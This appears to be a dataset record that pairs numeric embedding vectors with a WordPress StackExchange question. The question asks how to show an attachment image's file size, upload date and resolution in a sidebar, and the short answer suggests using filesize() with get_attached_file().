0.00048279762268066406, -0.04931640625, 0.017913818359375, 0.07421875, 0.039276123046875, 0.0182952880859375, -0.0213165283203125, -0.00995635986328125, 0.07861328125, 0.016265869140625, 0.0306243896484375, -0.01511383056640625, -0.055389404296875, 0.0030002593994140625, 0.02880859375, -0.0033931732177734375, 0.0012941360473632812, 0.031341552734375, 0.02923583984375, -0.0247039794921875, -0.033843994140625, 0.0281524658203125, 0.000027239322662353516, 0.02142333984375, 0.0124664306640625, 0.0024433135986328125, -0.0288238525390625, 0.04449462890625, -0.041534423828125, 0.0010442733764648438, -0.032318115234375, 0.007564544677734375, 0.002910614013671875, 0.033233642578125, -0.039764404296875, -0.036712646484375, -0.0216522216796875, -0.03497314453125, -0.0022640228271484375, 0.0216827392578125, -0.0192718505859375, -0.0274200439453125, 0.00714111328125, 0.0491943359375, 0.029022216796875, 0.0252685546875, 0.05462646484375, -0.02069091796875, 0.0298004150390625, 0.0236663818359375, 0.018218994140625, 0.0307159423828125, -0.00594329833984375, 0.0614013671875, 0.0109100341796875, -0.0223846435546875, 0.04095458984375, 0.016021728515625, 0.004302978515625, -0.0008974075317382812, -0.0010700225830078125, 0.00888824462890625, 0.058319091796875, 0.01158905029296875, -0.00322723388671875, 0.03411865234375, -0.033843994140625, -0.0257720947265625, -0.018280029296875, -0.0037212371826171875, -0.003955841064453125, 0.0252532958984375, 0.02264404296875, -0.0182647705078125, -0.0066070556640625, -0.08709716796875, 0.00812530517578125, -0.033538818359375, 0.041961669921875, -0.0333251953125, 0.048553466796875, 0.00814056396484375, -0.01715087890625, -0.01904296875, 0.0284881591796875, 0.015869140625, -0.046051025390625, 0.00704193115234375, 0.0192108154296875, 0.0019083023071289062, -0.0010061264038085938, 0.007427215576171875, 0.004962921142578125, 0.003620147705078125, 0.043701171875, 0.03350830078125, -0.004940032958984375, -0.043853759765625, -0.0257568359375, -0.003070831298828125, -0.01763916015625, -0.013580322265625, 0.105712890625, 0.00872039794921875, -0.034423828125, -0.050750732421875, 0.00714874267578125, -0.006092071533203125, -0.0300140380859375, -0.0036525726318359375, 0.05560302734375, 0.029022216796875, 0.005161285400390625, -0.024932861328125, 0.0092926025390625, 0.070068359375, -0.0157470703125, -0.009063720703125, 0.0190277099609375, -0.006988525390625, -0.0255126953125, -0.00785064697265625, 0.0060272216796875, 0.05718994140625, 0.0107269287109375, -0.00995635986328125, 0.05169677734375, -0.0300750732421875, -0.03472900390625, -0.0273590087890625, 0.0305023193359375, 0.00913238525390625, -0.006458282470703125, -0.021484375, 0.002300262451171875, 0.0275115966796875, -0.01097869873046875, 0.015869140625, 0.004192352294921875, 0.006992340087890625, -0.0262908935546875, 0.006023406982421875, -0.05023193359375, -0.0095367431640625, 0.032958984375, -0.01007080078125, 0.04779052734375, -0.0156707763671875, -0.00522613525390625, -0.0253753662109375, 0.031829833984375, 0.0022106170654296875, 0.037567138671875, -0.08477783203125, -0.0198516845703125, 0.005374908447265625, -0.03350830078125, -0.038421630859375, 0.022491455078125, 0.006011962890625, 0.0096282958984375, 0.0229339599609375, 0.0282135009765625, -0.01375579833984375, 0.027618408203125, -0.01447296142578125, -0.00379180908203125, 0.0390625, -0.0023593902587890625, 0.009002685546875, -0.0185089111328125, 0.04547119140625, 0.034515380859375, -0.0511474609375, 0.02972412109375, -0.0031280517578125, 0.0256500244140625, 0.005168914794921875, 0.0280609130859375, 0.01194000244140625, -0.0101776123046875, -0.0182342529296875, -0.0161285400390625, 0.03875732421875, 0.04437255859375, 0.024505615234375, -0.0153350830078125, -0.006031036376953125, 0.057159423828125, -0.0159912109375, -0.06329345703125, -0.00028634071350097656, -0.0333251953125, 0.039794921875, -0.0012273788452148438, -0.010101318359375, -0.02911376953125, 0.0159149169921875, 0.00848388671875, 0.002559661865234375, -0.06597900390625, -0.049407958984375, -0.06591796875, -0.06072998046875, 0.0112457275390625, 0.0018978118896484375, 0.005123138427734375, 0.0096435546875, 0.044281005859375, 0.009796142578125, 0.003509521484375, 0.0251312255859375, -0.0185546875, -0.0137176513671875, -0.017791748046875, -0.0296173095703125, -0.0236053466796875, -0.0173797607421875, 0.018218994140625, -0.016571044921875, -0.040496826171875, 0.02239990234375, -0.03509521484375, -0.032562255859375, -0.026763916015625, -0.0037384033203125, 0.06402587890625, 0.04119873046875, -0.017608642578125, 0.0565185546875, -0.03570556640625, -0.031280517578125, 0.01342010498046875, -0.036773681640625, -0.0029582977294921875, 0.04608154296875, -0.018310546875, -0.04974365234375, 0.0095977783203125, -0.0174560546875, -0.00939178466796875, 0.0489501953125, -0.0516357421875, 0.040771484375, -0.00418853759765625, -0.0107879638671875, -0.039459228515625, 0.04412841796875, -0.004772186279296875, 0.004833221435546875, 0.012176513671875, 0.049407958984375, 0.0018014907836914062, 0.02685546875, -0.048858642578125, -0.039276123046875, 0.00872039794921875, -0.06744384765625, 0.0032138824462890625, -0.005855560302734375, 0.00830078125, 0.0181732177734375, 0.0703125, -0.06219482421875, -0.015869140625, 0.033599853515625, 0.0111083984375, 0.0018463134765625, 0.03936767578125, -0.0604248046875, -0.017669677734375, -0.0804443359375, 0.00296783447265625, -0.0104827880859375, -0.04150390625, 0.010040283203125, -0.0235595703125, -0.033477783203125, -0.056396484375, 0.037841796875, -0.01480865478515625, 0.0037441253662109375, 0.04998779296875, -0.01464080810546875, 0.022308349609375, -0.006023406982421875, -0.03204345703125, -0.1337890625, -0.0284576416015625, 0.002361297607421875, 0.053009033203125, -0.0253753662109375, 0.039276123046875, -0.0102386474609375, 0.06927490234375, 0.003688812255859375, 0.051513671875, -0.0006437301635742188, -0.0018520355224609375, 0.046661376953125, -0.01050567626953125, 0.017608642578125, -0.020782470703125, -0.026031494140625, -0.03759765625, -0.039398193359375, -0.0426025390625, -0.01152801513671875, -0.0141448974609375, 0.022308349609375, -0.0249176025390625, -0.01473236083984375, -0.051177978515625, -0.005748748779296875, 0.00931549072265625, 0.0152740478515625, 0.00603485107421875, -0.040435791015625, 0.0027256011962890625, 0.0288543701171875, -0.033966064453125, -0.00038051605224609375, 0.0048828125, 0.06964111328125, 0.00843048095703125, -0.01433563232421875, -0.040313720703125, -0.0055694580078125, 0.00872802734375, 0.03790283203125, 0.014862060546875, -0.0153656005859375, 0.008087158203125, 0.01030731201171875, -0.01239013671875, -0.01105499267578125, -0.02032470703125, 0.030364990234375, -0.01470184326171875, -0.0086212158203125, -0.0146942138671875, -0.045989990234375, 0.0726318359375, -0.00020813941955566406, -0.010498046875, -0.01364898681640625, -0.01273345947265625, 0.03656005859375, 0.01165008544921875, -0.0029964447021484375, -0.0418701171875, -0.01508331298828125, -0.0002982616424560547, -0.0306243896484375, 0.036651611328125, 0.0222015380859375, 0.01316070556640625, 0.03472900390625, 0.024749755859375, -0.015625, -0.0208282470703125, -0.0009775161743164062, -0.01806640625, -0.0010004043579101562, -0.00397491455078125, -0.03009033203125, -0.005382537841796875, -0.00036644935607910156, 0.06842041015625, -0.023651123046875, -0.043670654296875, -0.037750244140625, -0.004024505615234375, 0.062225341796875, 0.032379150390625, 0.0211334228515625, 0.024261474609375, 0.0211029052734375, 0.0066375732421875, -0.0280303955078125, -0.002201080322265625, 0.038055419921875, -0.041839599609375, -0.0111236572265625, 0.02734375, -0.022918701171875, 0.0175628662109375, -0.0124664306640625, 0.088134765625, -0.043548583984375, -0.0479736328125, -0.00449371337890625, -0.050933837890625, 0.05975341796875, 0.0305938720703125, -0.043060302734375, 0.01079559326171875, 0.01641845703125, -0.0040130615234375, -0.055084228515625, 0.031463623046875, -0.005580902099609375, 0.053741455078125, 0.0124053955078125, -0.04986572265625, 0.059051513671875, -0.0010099411010742188, -0.00386810302734375, 0.0019063949584960938, -0.0163116455078125, -0.041473388671875, 0.01045989990234375, 0.00605010986328125, -0.01678466796875, -0.01232147216796875, -0.017913818359375, -0.0075531005859375, -0.022186279296875, -0.00860595703125, 0.0162811279296875, -0.038238525390625, 0.0146484375, 0.0070343017578125, -0.035003662109375, -0.022857666015625, -0.00274658203125, -0.07830810546875, 0.00014698505401611328, -0.01303863525390625, -0.032440185546875, 0.0277557373046875, -0.0195465087890625, -0.01239776611328125, -0.028350830078125, -0.004669189453125, -0.01023101806640625, -0.0026454925537109375, 0.046051025390625, 0.0005278587341308594, -0.05316162109375, -0.035247802734375, -0.033294677734375, -0.0149383544921875, -0.0251617431640625, -0.0396728515625, -0.01462554931640625, 0.011199951171875, 0.045074462890625, 0.020416259765625, 0.00513458251953125, -0.06622314453125, -0.012054443359375, 0.0026798248291015625, 0.052886962890625, 0.04327392578125, -0.02227783203125, 0.055084228515625, -0.00756072998046875, -0.0010986328125, 0.01119232177734375, 0.028717041015625, -0.017852783203125, -0.00020933151245117188, 0.004425048828125, 0.00713348388671875, 0.004169464111328125, -0.003513336181640625, 0.00638580322265625, -0.0202484130859375, 0.041839599609375, -0.004032135009765625, 0.00554656982421875, -0.039764404296875, 0.01194000244140625, -0.0265960693359375, 0.057464599609375, -0.056610107421875, -0.0411376953125, 0.0177459716796875, -0.044158935546875, -0.0180816650390625, 0.03424072265625, 0.0133819580078125, 0.0010776519775390625, -0.0275115966796875, 0.0017747879028320312, 0.035186767578125, -0.023681640625, 0.0191802978515625, 0.036529541015625, 0.00713348388671875, 0.037933349609375, -0.00966644287109375, 0.032562255859375, 0.0127716064453125, -0.005764007568359375, -0.046112060546875, 0.01248931884765625, -0.007144927978515625, -0.0173187255859375, -0.036285400390625, -0.01873779296875, -0.022308349609375, 0.0020771026611328125, 0.05364990234375, 0.059417724609375, -0.051025390625, -0.023101806640625, -0.008758544921875, -0.051483154296875, 0.012908935546875, -0.028076171875, -0.00797271728515625, -0.0333251953125, 0.024139404296875, 0.045928955078125, -0.01959228515625, 0.007537841796875, 0.0277252197265625, -0.0135040283203125, -0.032012939453125, -0.0032558441162109375, 0.00855255126953125, -0.06011962890625, 0.050262451171875, 0.043243408203125, -0.00614166259765625, 0.005649566650390625, -0.00988006591796875, -0.0160064697265625, -0.0203399658203125, -0.0102081298828125, -0.007701873779296875, -0.040130615234375, -0.0080108642578125, 0.0026798248291015625, 0.00019443035125732422, -0.020721435546875, 0.0215606689453125, -0.044647216796875, 0.020599365234375, 0.0009188652038574219, -0.0157470703125, -0.01299285888671875, 0.009857177734375, 0.0462646484375, -0.04150390625, -0.0163116455078125, 0.015350341796875, -0.040252685546875, -0.04351806640625, 0.00525665283203125, 0.038330078125, 0.01380157470703125, -0.01525115966796875, -0.0295257568359375, 0.046875, -0.0139007568359375, -0.00901031494140625, -0.011810302734375, 0.032196044921875, -0.035400390625, -0.0037097930908203125, -0.01055145263671875, -0.0023593902587890625, -0.00806427001953125, -0.0128631591796875, -0.03216552734375, 0.0460205078125, -0.044036865234375, -0.00475311279296875, 0.04864501953125, 0.01248931884765625, -0.0246734619140625, -0.01116180419921875, -0.01296234130859375, 0.026397705078125, -0.04443359375, 0.00695037841796875, -0.01081085205078125, 0.01030731201171875, -0.0307159423828125, -0.0135040283203125, 0.032501220703125, -0.0022430419921875, -0.0279083251953125, -0.027008056640625, 0.041290283203125, 0.031982421875, -0.0090789794921875, 0.0246124267578125, -0.0033283233642578125, -0.008026123046875, -0.0223388671875, 0.006984710693359375, 0.008544921875, -0.0139007568359375, -0.07781982421875, 0.01284027099609375, 0.0150604248046875, 0.01397705078125, 0.0279998779296875, 0.007015228271484375, -0.06671142578125, 0.02130126953125, 0.042449951171875, 0.0251922607421875, -0.005886077880859375, 0.030792236328125, 0.036285400390625, 0.0259552001953125, -0.019561767578125, -0.00652313232421875, 0.035491943359375, 0.03338623046875, -0.005828857421875, 0.026214599609375, 0.0253753662109375, -0.0276031494140625, 0.0144500732421875, 0.0234222412109375, 0.040008544921875, -0.036163330078125, 0.0293121337890625, 0.021453857421875, -0.011322021484375, -0.031402587890625, 0.0654296875, 0.00519561767578125, 0.020843505859375, -0.06976318359375, -0.0609130859375, 0.01031494140625, 0.0172576904296875, 0.025238037109375, 0.0153350830078125, 0.00862884521484375, -0.0289459228515625, 0.0347900390625, -0.0241241455078125, -0.0111083984375, 0.0234222412109375, -0.0067596435546875, -0.004543304443359375, 0.03680419921875, 0.00707244873046875, 0.007244110107421875, -0.03448486328125, 0.01209259033203125, -0.0003101825714111328, 0.037261962890625, -0.00890350341796875, 0.030487060546875, -0.0168609619140625, -0.003509521484375, -0.0193634033203125, 0.04779052734375, 0.00272369384765625, 0.01397705078125, -0.056549072265625, -0.060302734375, 0.00878143310546875, 0.053802490234375, 0.0209503173828125, -0.03741455078125, -0.0018825531005859375, -0.01251220703125, -0.033477783203125, -0.0171051025390625, 0.0278778076171875, -0.017974853515625, -0.027862548828125, -0.0136871337890625, -0.036224365234375, 0.0178375244140625, -0.0153045654296875, 0.026275634765625, -0.013275146484375, 0.0246429443359375, 0.06402587890625, -0.050323486328125, 0.041351318359375, -0.023284912109375, -0.0008711814880371094, 0.0465087890625, -0.04058837890625, 0.07928466796875, -0.071533203125, 0.01605224609375, -0.07208251953125, -0.04852294921875, 0.0167694091796875, 0.0298614501953125, -0.00024247169494628906, 0.0033931732177734375, -0.038177490234375, -0.034027099609375, -0.0101165771484375, 0.020599365234375, 0.018524169921875, 0.0709228515625, 0.0031719207763671875, 0.01136016845703125, -0.050262451171875, -0.038848876953125, -0.0261077880859375, 0.057037353515625, 0.0133819580078125, 0.05767822265625, -0.017242431640625, 0.0164947509765625, -0.012786865234375, -0.007305145263671875, -0.0214385986328125, -0.020904541015625, 0.0205078125, -0.0168914794921875, -0.01204681396484375, -0.002147674560546875, -0.081787109375, 0.0178375244140625, -0.004222869873046875, 0.0115814208984375, 0.026153564453125, -0.0091705322265625, 0.021820068359375, 0.0228271484375, -0.043365478515625, -0.05242919921875, -0.07421875, -0.043304443359375, 0.02374267578125, -0.0209197998046875, -0.0130615234375, -0.030487060546875, -0.011322021484375, -0.0016183853149414062, -0.0386962890625, 0.00589752197265625, 0.0114898681640625, 0.002712249755859375, 0.0196685791015625, -0.002338409423828125, -0.019287109375, 0.022064208984375, -0.006473541259765625, 0.03143310546875, 0.00983428955078125, 0.0440673828125, 0.01513671875, -0.024871826171875, 0.04937744140625, 0.01352691650390625, 0.0246734619140625, -0.058837890625, 0.0009698867797851562, 0.07366943359375, -0.0015163421630859375, 0.02947998046875, -0.00608062744140625, 0.01335906982421875, -0.0380859375, -0.03387451171875, 0.0048370361328125, -0.055328369140625, 0.0283660888671875, 0.0191802978515625, -0.01104736328125, 0.0143585205078125, -0.0027790069580078125, -0.02423095703125, 0.019378662109375, -0.00766754150390625, -0.013916015625, -0.0182037353515625, -0.0235595703125, 0.01507568359375, 0.03857421875, -0.0145721435546875, -0.031280517578125, -0.030517578125, 0.0018377304077148438, -0.02960205078125, 0.0017910003662109375, 0.0443115234375, 0.00970458984375, -0.035491943359375, -0.0258331298828125, -0.032806396484375, 0.0290679931640625, -0.058837890625, -0.01593017578125, 0.003971099853515625, -0.00212860107421875, -0.02093505859375, -0.07476806640625, 0.0208740234375, -0.048583984375, -0.0136566162109375, 0.0010499954223632812, -0.015716552734375, 0.005214691162109375, -0.0380859375, -0.01508331298828125, 0.021636962890625, 0.01812744140625, -0.0294036865234375, -0.052703857421875, -0.0201873779296875, -0.020660400390625, 0.04034423828125, -0.0192108154296875, -0.0084686279296875, -0.023345947265625, 0.06634521484375, 0.016265869140625, 0.028350830078125, 0.017425537109375, 0.059326171875, -0.043609619140625, 0.015625, -0.018310546875, 0.00536346435546875, 0.0112152099609375, -0.02935791015625, 0.0092620849609375, 0.018768310546875, -0.034698486328125, -0.096923828125, -0.022369384765625, -0.033599853515625, -0.0213470458984375, -0.05389404296875, -0.00396728515625, -0.027740478515625, -0.049560546875, 0.03955078125, -0.0308990478515625, 0.0030364990234375, -0.046539306640625, -0.032470703125, -0.0259552001953125, 0.015777587890625, 0.0306243896484375, -0.082763671875, 0.0159912109375, 0.047027587890625, -0.045867919921875, 0.024139404296875, 0.01401519775390625, -0.05303955078125, 0.037353515625, 0.0022602081298828125, -0.022552490234375, -0.06219482421875, -0.046234130859375, 0.021514892578125, -0.0107879638671875, 0.015594482421875, -0.014739990234375, 0.034515380859375, 0.03094482421875, 0.0306549072265625, 0.0303192138671875, 0.00994873046875, -0.031158447265625, 0.00563812255859375, 0.0132293701171875, 0.00881195068359375, -0.01108551025390625, -0.041534423828125, 0.0131378173828125, 0.018585205078125, -0.01898193359375, 0.024810791015625, 0.018341064453125, 0.0029468536376953125, -0.03863525390625, 0.04034423828125, 0.00749969482421875, 0.0526123046875, -0.01326751708984375, 0.061309814453125, -0.04559326171875, -0.0221710205078125, -0.0167083740234375, -0.053192138671875, -0.0168914794921875, 0.0687255859375, -0.0017976760864257812, -0.040283203125, 0.038055419921875, 0.0110321044921875, 0.045684814453125, 0.01323699951171875 ]
94a663e7a101307ffeb197b98aeaafe22af57d5b
Wordpress Stackexchange Q: Display Single Attachment Image file size, uploaded date, resolution, file-name etc in Sidebar Sorry for any wrong details. I am totally new to WordPress development. I am running a photo site. On single attachment page, I want to show the details (i.e upload date, filename, size, resolution) of the attached image in the sidebar of that single attachment page. I am trying to use the following function in the single-attachment-sidebar-template.php <?php wp_get_attachment_metadata( $attachment_id, $unfiltered ); ?> But it makes the whole sidebar invisible. I am trying to get something like post metabox in the editable interface for the image to be visible on the front in the sidebar area of the single attachment page. Any help will be greatly appreciated. Thanks in Advance! A: filesize( get_attached_file( $attachment->ID ) ); better you can share your site.
Q: Display Single Attachment Image file size, uploaded date, resolution, file-name etc in Sidebar Sorry for any wrong details. I am totally new to WordPress development. I am running a photo site. On single attachment page, I want to show the details (i.e upload date, filename, size, resolution) of the attached image in the sidebar of that single attachment page. I am trying to use the following function in the single-attachment-sidebar-template.php <?php wp_get_attachment_metadata( $attachment_id, $unfiltered ); ?> But it makes the whole sidebar invisible. I am trying to get something like post metabox in the editable interface for the image to be visible on the front in the sidebar area of the single attachment page. Any help will be greatly appreciated. Thanks in Advance! A: filesize( get_attached_file( $attachment->ID ) ); better you can share your site.
wordpress
{ "language": "en", "length": 136, "provenance": "stackexchange_00019.jsonl.gz:488146", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/309919" }
[ 0.01097869873046875, -0.0230560302734375, -0.015838623046875, -0.025146484375, -0.01739501953125, -0.01473236083984375, 0.01580810546875, -0.006450653076171875, 0.0183258056640625, 0.04095458984375, -0.0224456787109375, 0.00007331371307373047, -0.004787445068359375, -0.007442474365234375, -0.047698974609375, -0.0283355712890625, 0.06341552734375, -0.00992584228515625, 0.07720947265625, 0.038909912109375, -0.0146484375, 0.0927734375, 0.0489501953125, -0.0016727447509765625, 0.0102691650390625, 0.0298919677734375, 0.048065185546875, -0.046295166015625, 0.017242431640625, -0.00630950927734375, 0.0203857421875, -0.0105133056640625, 0.0222015380859375, -0.02093505859375, 0.0184173583984375, 0.04644775390625, -0.0085296630859375, 0.00677490234375, 0.0012922286987304688, 0.0197296142578125, 0.0305633544921875, -0.0212554931640625, 0.049835205078125, -0.0248260498046875, 0.0218658447265625, -0.0195159912109375, 0.04437255859375, -0.05230712890625, 0.01001739501953125, 0.012359619140625, 0.008056640625, -0.00048422813415527344, 0.0181427001953125, 0.0112762451171875, -0.01561737060546875, -0.01410675048828125, -0.02777099609375, 0.034912109375, 0.030426025390625, 0.005168914794921875, -0.036285400390625, 0.016632080078125, 0.01250457763671875, -0.0239410400390625, -0.01410675048828125, -0.004596710205078125, 0.0095062255859375, 0.0120849609375, -0.04107666015625, -0.0408935546875, 0.0248870849609375, -0.022674560546875, 0.009124755859375, -0.023590087890625, -0.00008040666580200195, -0.006465911865234375, -0.00388336181640625, -0.006458282470703125, 0.002521514892578125, -0.01282501220703125, 0.0177764892578125, 0.01174163818359375, -0.07666015625, 0.0251617431640625, 0.03253173828125, 0.06317138671875, -0.01013946533203125, -0.038909912109375, -0.0168304443359375, 0.0180511474609375, -0.02069091796875, -0.0273284912109375, 0.0228271484375, -0.00905609130859375, -0.02825927734375, -0.019775390625, 0.0187225341796875, 0.0386962890625, 0.002361297607421875, -0.006626129150390625, 0.00846099853515625, -0.0301361083984375, -0.01148223876953125, -0.0257568359375, 0.0017595291137695312, 0.018768310546875, -0.00202178955078125, -0.0106201171875, 0.01837158203125, 0.0199432373046875, -0.0160064697265625, 0.01116943359375, -0.0242767333984375, -0.00473785400390625, -0.0160369873046875, 0.0253448486328125, -0.04144287109375, 0.031982421875, -0.01397705078125, 0.035064697265625, 0.0272674560546875, 0.0169830322265625, 0.0074005126953125, 0.008697509765625, 0.017425537109375, 0.00975799560546875, -0.035125732421875, -0.0030574798583984375, 0.01548004150390625, 0.023956298828125, -0.01392364501953125, -0.0036411285400390625, -0.018341064453125, 0.00254058837890625, -0.004505157470703125, -0.0002340078353881836, 0.02587890625, -0.0078277587890625, -0.002685546875, 0.039398193359375, -0.02362060546875, -0.0225982666015625, 0.034881591796875, -0.026153564453125, -0.044403076171875, -0.00812530517578125, 0.0011396408081054688, 0.031585693359375, 0.014984130859375, -0.062347412109375, 0.0007762908935546875, -0.005390167236328125, 0.041168212890625, 0.01776123046875, -0.0570068359375, 0.0225372314453125, 0.0031261444091796875, -0.0098724365234375, -0.04437255859375, -0.04974365234375, 0.056243896484375, -0.004734039306640625, -0.040191650390625, 0.041748046875, 0.01459503173828125, 0.0152435302734375, -0.0328369140625, 0.010406494140625, 0.025726318359375, -0.007541656494140625, -0.0056915283203125, -0.0185699462890625, -0.00438690185546875, -0.0032215118408203125, -0.00691986083984375, 0.0169677734375, -0.01092529296875, 0.0262451171875, -0.0110015869140625, 0.049560546875, 0.0194549560546875, -0.03326416015625, 0.0406494140625, -0.00933074951171875, -0.0386962890625, 0.020751953125, -0.01702880859375, -0.0234375, 0.043853759765625, -0.0103759765625, 0.028167724609375, 0.04034423828125, -0.041015625, 0.045196533203125, -0.0284423828125, 0.004703521728515625, -0.0143585205078125, 0.035400390625, -0.0230560302734375, -0.028289794921875, -0.035552978515625, 0.006168365478515625, 0.0240325927734375, 0.0206451416015625, 0.01812744140625, 0.03485107421875, -0.0160980224609375, 0.034393310546875, -0.064453125, 0.0251312255859375, 0.033111572265625, 0.00872802734375, -0.01861572265625, -0.023529052734375, 0.044189453125, 0.0128173828125, 0.01317596435546875, 0.003353118896484375, -0.0299072265625, 0.0193634033203125, -0.06451416015625, -0.0265960693359375, -0.0721435546875, 0.0296630859375, 0.039459228515625, 0.0251007080078125, -0.0293121337890625, -0.002254486083984375, 0.033721923828125, 0.0228729248046875, -0.02215576171875, 0.0106201171875, -0.040679931640625, -0.0003669261932373047, -0.0169830322265625, -0.018951416015625, -0.0167999267578125, -0.0306396484375, 0.0187530517578125, 0.036224365234375, 0.024871826171875, 0.0231170654296875, 0.00482177734375, 0.031646728515625, 0.08514404296875, 0.037261962890625, 0.02557373046875, -0.0137481689453125, -0.01441192626953125, -0.0139617919921875, 0.003986358642578125, -0.00865936279296875, 0.0318603515625, -0.039154052734375, 0.0245513916015625, 0.0300445556640625, -0.01287078857421875, 0.0037746429443359375, -0.028533935546875, 0.0494384765625, -0.01470947265625, 0.033477783203125, 0.04046630859375, -0.004009246826171875, 0.00525665283203125, 0.046356201171875, 0.05364990234375, 0.041290283203125, -0.0266876220703125, 0.0291748046875, 0.00826263427734375, 0.02935791015625, 0.0014925003051757812, 0.0285491943359375, 0.005878448486328125, -0.039276123046875, -0.0109710693359375, -0.02056884765625, 0.005802154541015625, -0.00817108154296875, -0.00494384765625, -0.0017261505126953125, -0.03143310546875, 0.00205230712890625, -0.01184844970703125, -0.05908203125, 0.0157318115234375, 0.03424072265625, 0.003971099853515625, 0.01349639892578125, 0.009490966796875, 0.062744140625, 0.024444580078125, 0.024444580078125, 0.0098724365234375, 0.0126495361328125, 0.01137542724609375, -0.045440673828125, 0.05841064453125, -0.051666259765625, 0.04638671875, 0.0614013671875, -0.04193115234375, 0.05133056640625, -0.01049041748046875, -0.0165863037109375, -0.01428985595703125, -0.00872039794921875, -0.01056671142578125, -0.0302886962890625, -0.0233001708984375, 0.025177001953125, -0.01543426513671875, -0.0001558065414428711, -0.0498046875, -0.058349609375, -0.01238250732421875, -0.03338623046875, -0.07647705078125, -0.0292510986328125, -0.033660888671875, -0.10577392578125, -0.007526397705078125, -0.004749298095703125, -0.07208251953125, 0.014068603515625, 0.0482177734375, 0.02496337890625, -0.004161834716796875, -0.01239776611328125, -0.0289764404296875, -0.027252197265625, -0.042877197265625, -0.0316162109375, -0.0096435546875, -0.006343841552734375, -0.011444091796875, 0.0562744140625, 0.0022563934326171875, -0.037872314453125, -0.023681640625, 0.0019779205322265625, 0.0086517333984375, -0.0248260498046875, 0.004375457763671875, -0.017730712890625, -0.020294189453125, -0.0017852783203125, 0.020660400390625, 0.0217132568359375, -0.042266845703125, 0.0123443603515625, -0.02020263671875, -0.02838134765625, -0.0030536651611328125, -0.01090240478515625, 0.0012960433959960938, -0.016815185546875, 0.0015516281127929688, -0.0582275390625, 0.004055023193359375, -0.0194854736328125, -0.040557861328125, -0.039093017578125, 0.029510498046875, -0.0096435546875, -0.02166748046875, -0.01419830322265625, -0.00244903564453125, -0.01108551025390625, -0.0003757476806640625, -0.0285797119140625, 0.0333251953125, 0.00008672475814819336, 0.007354736328125, -0.00971221923828125, -0.02392578125, -0.0229034423828125, 0.0286102294921875, -0.01450347900390625, 0.01129150390625, -0.004894256591796875, 0.047821044921875, -0.0049896240234375, -0.050933837890625, 0.06536865234375, -0.02490234375, 0.008148193359375, -0.058441162109375, -0.0416259765625, -0.0188751220703125, 0.10626220703125, -0.019775390625, -0.0247344970703125, 0.01358795166015625, 0.0279388427734375, -0.07672119140625, -0.0266571044921875, -0.0293731689453125, 0.01291656494140625, -0.07562255859375, 0.0010480880737304688, 0.01421356201171875, -0.04144287109375, -0.016082763671875, 0.0083770751953125, -0.064453125, -0.027587890625, 0.0273590087890625, -0.004459381103515625, -0.0006146430969238281, 0.0122528076171875, -0.044525146484375, 0.022308349609375, -0.017791748046875, -0.029815673828125, -0.07080078125, -0.02386474609375, 0.0254974365234375, 0.06427001953125, -0.03839111328125, 0.0160064697265625, -0.0298309326171875, 0.05035400390625, 0.0041046142578125, -0.004085540771484375, 0.00646209716796875, -0.00008857250213623047, 0.0184173583984375, -0.0019140243530273438, 0.005634307861328125, -0.02203369140625, -0.01509857177734375, -0.071533203125, -0.085693359375, -0.0894775390625, -0.0295257568359375, -0.0016202926635742188, 0.007747650146484375, -0.00897216796875, 0.0018110275268554688, -0.029815673828125, 0.010711669921875, 0.04815673828125, -0.015655517578125, 0.038421630859375, -0.041229248046875, -0.0038623809814453125, 0.0172271728515625, 0.00457763671875, -0.0015773773193359375, 0.017333984375, 0.050048828125, 0.004261016845703125, -0.01212310791015625, -0.087890625, 0.0019931793212890625, 0.0594482421875, 0.01922607421875, 0.02587890625, 0.023284912109375, -0.03851318359375, 0.057373046875, 0.05059814453125, 0.04376220703125, -0.03314208984375, 0.049072265625, 0.0025539398193359375, 0.003467559814453125, 0.036529541015625, 0.01456451416015625, -0.0309906005859375, -0.0191192626953125, -0.03369140625, 0.0178375244140625, -0.0100860595703125, 0.0017480850219726562, -0.0318603515625, 0.060516357421875, 0.010498046875, -0.0119171142578125, -0.0155487060546875, 0.0014123916625976562, 0.04193115234375, 0.028594970703125, 0.0067901611328125, 0.01084136962890625, 0.05242919921875, -0.01352691650390625, 0.00201416015625, 0.0006403923034667969, -0.00603485107421875, 0.016143798828125, 0.0167999267578125, -0.0159912109375, -0.0007753372192382812, -0.0004570484161376953, -0.02008056640625, 0.026153564453125, -0.0013113021850585938, -0.02099609375, 0.00992584228515625, 0.0084686279296875, -0.0163421630859375, -0.0018291473388671875, 0.01001739501953125, 0.01554107666015625, -0.031707763671875, -0.0372314453125, -0.03448486328125, 0.01052093505859375, -0.052703857421875, 0.02301025390625, 0.01544189453125, -0.019073486328125, 0.05914306640625, -0.000919342041015625, -0.04119873046875, 0.029937744140625, 0.004730224609375, 0.00319671630859375, 0.03857421875, 0.00640106201171875, 0.03033447265625, 0.01248931884765625, -0.0305938720703125, -0.007350921630859375, 0.01555633544921875, -0.038482666015625, 0.024078369140625, 0.0164794921875, 0.0201568603515625, -0.031494140625, -0.050018310546875, 0.04754638671875, -0.02154541015625, -0.0169830322265625, 0.07080078125, 0.0338134765625, -0.061859130859375, -0.0232391357421875, 0.0090179443359375, 0.038055419921875, -0.0263214111328125, -0.0030078887939453125, 0.0218963623046875, 0.0014925003051757812, 0.0274810791015625, 0.004520416259765625, -0.01934814453125, 0.0046844482421875, 0.00423431396484375, 0.0167694091796875, 0.0029697418212890625, -0.029510498046875, -0.01027679443359375, -0.0261383056640625, -0.0181121826171875, 0.00527191162109375, 0.048065185546875, -0.01006317138671875, 0.00868988037109375, -0.041015625, 0.0142822265625, -0.037994384765625, 0.00003415346145629883, 0.057830810546875, 0.0264434814453125, -0.03106689453125, -0.0236968994140625, -0.0170135498046875, -0.01070404052734375, 0.06011962890625, 0.0007662773132324219, -0.02557373046875, -0.045135498046875, -0.018035888671875, 0.0518798828125, -0.01055908203125, 0.0201568603515625, -0.0016498565673828125, -0.0034427642822265625, -0.0235137939453125, 0.08514404296875, 0.003696441650390625, 0.051788330078125, 0.006061553955078125, 0.047393798828125, 0.03485107421875, 0.029510498046875, -0.0487060546875, -0.01256561279296875, -0.008636474609375, -0.035003662109375, 0.005611419677734375, 0.01377105712890625, 0.00722503662109375, -0.03436279296875, -0.034454345703125, 0.0164794921875, -0.00872039794921875, -0.029998779296875, -0.0230560302734375, -0.0276336669921875, 0.06744384765625, 0.0088348388671875, 0.02850341796875, -0.036895751953125, -0.0421142578125, -0.0212860107421875, 0.000736236572265625, -0.019134521484375, 0.046234130859375, -0.030975341796875, 